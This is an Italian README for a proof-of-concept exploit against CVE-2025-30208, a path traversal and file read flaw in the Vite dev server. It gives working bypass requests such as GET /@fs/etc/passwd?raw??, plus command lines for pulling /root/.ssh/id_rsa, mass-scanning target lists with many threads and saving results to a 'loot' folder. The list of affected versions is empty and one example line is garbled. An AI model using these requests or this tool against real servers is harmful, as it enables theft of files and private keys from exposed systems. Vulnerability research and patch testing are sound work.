
Una PoC dello script di exploit per la vulnerabilità di Arbitrary File Read di Vite /@fs/ Path Traversal nel transformMiddleware (CVE-2025-30208).
Una PoC dello script di exploit per la vulnerabilità di Lettura Arbitraria di File di Vite /@fs/ Path Traversal in transformMiddleware (CVE-2025-30208). L'analisi dettagliata è disponibile in questo post.
Vulnerabile nelle versioni precedenti a:
Vite è un popolare progetto open-source disponibile su Github e sul suo sito ufficiale. Utilizza un prefisso speciale, @fs, per consentire l'accesso diretto a percorsi assoluti di file in modalità sviluppo:
GET /@fs/<percorso/assoluto/del/file>
Ma per prevenire abusi, Vite limita ciò che può essere accesso tramite @fs utilizzando una configurazione come:
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
Quindi, in teoria, i file al di fuori della directory consentita (come /etc/passwd) dovrebbero essere bloccati — anche se qualcuno tenta di usare trucchi come ../../../.
Tuttavia, il difetto risiede nel modo in cui Vite analizza e controlla gli URL (tramite il middleware/la funzione transformMiddleware). Il middleware/la funzione utilizza ensureServingAccess(url, ...) per verificare se una richiesta di file tramite /@fs/ è consentita.
Tuttavia, un attaccante potrebbe creare una richiesta con separatori di query trailing nell'URL come:
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??
Queste forme bypasserebbero i filtri delle espressioni regolari (rawRE, urlRE) e i controlli di sicurezza a causa della stringa di query malformata che corrisponde comunque alla logica della route. Cosa succede:
/@fs/../../../etc/passwdraw?? (malformata di proposito)?, e lo fa prima di verificare se il percorso del file è consentito.Ciò significa:
server.fs.allow./etc/passwd, se esistente.python3 poc.py [OPZIONI]
| Flag / Opzione | Descrizione |
|---|---|
-u, --url | URL del singolo target (es. example.com:5173) |
-f, --file | File con lista di target (un URL per riga) |
-p, --path | Percorso filesystem da leggere (default: /etc/passwd) |
-b, --bypass | Stringa di query per bypassare la validazione della route (default: ?raw??) |
--proxy | URL del proxy (es. http://127.0.0.1:8080) |
-o, --output | Directory di output per salvare i risultati dello sfruttamento (default: results) |
-t, --threads | Numero di thread per la modalità batch (default: 10) |
-h, --help | Mostra il messaggio di aiuto ed esce |
Sfruttamento su singolo target:
python3 cve-2025-30208.py -u example.com:5173
Singolo target con percorso LFI personalizzato per filtrare il file desiderato:
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
Sfruttamento batch con più target:
python3 cve-2025-30208.py -f targets.txt
Query di bypass personalizzata:
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
Utilizzo di un proxy (es. Burp Suite):
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
Directory di output personalizzata:
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
Aumenta il numero di thread in modalità batch:
python3 cve-2025-30208.py -f targets.txt -t 50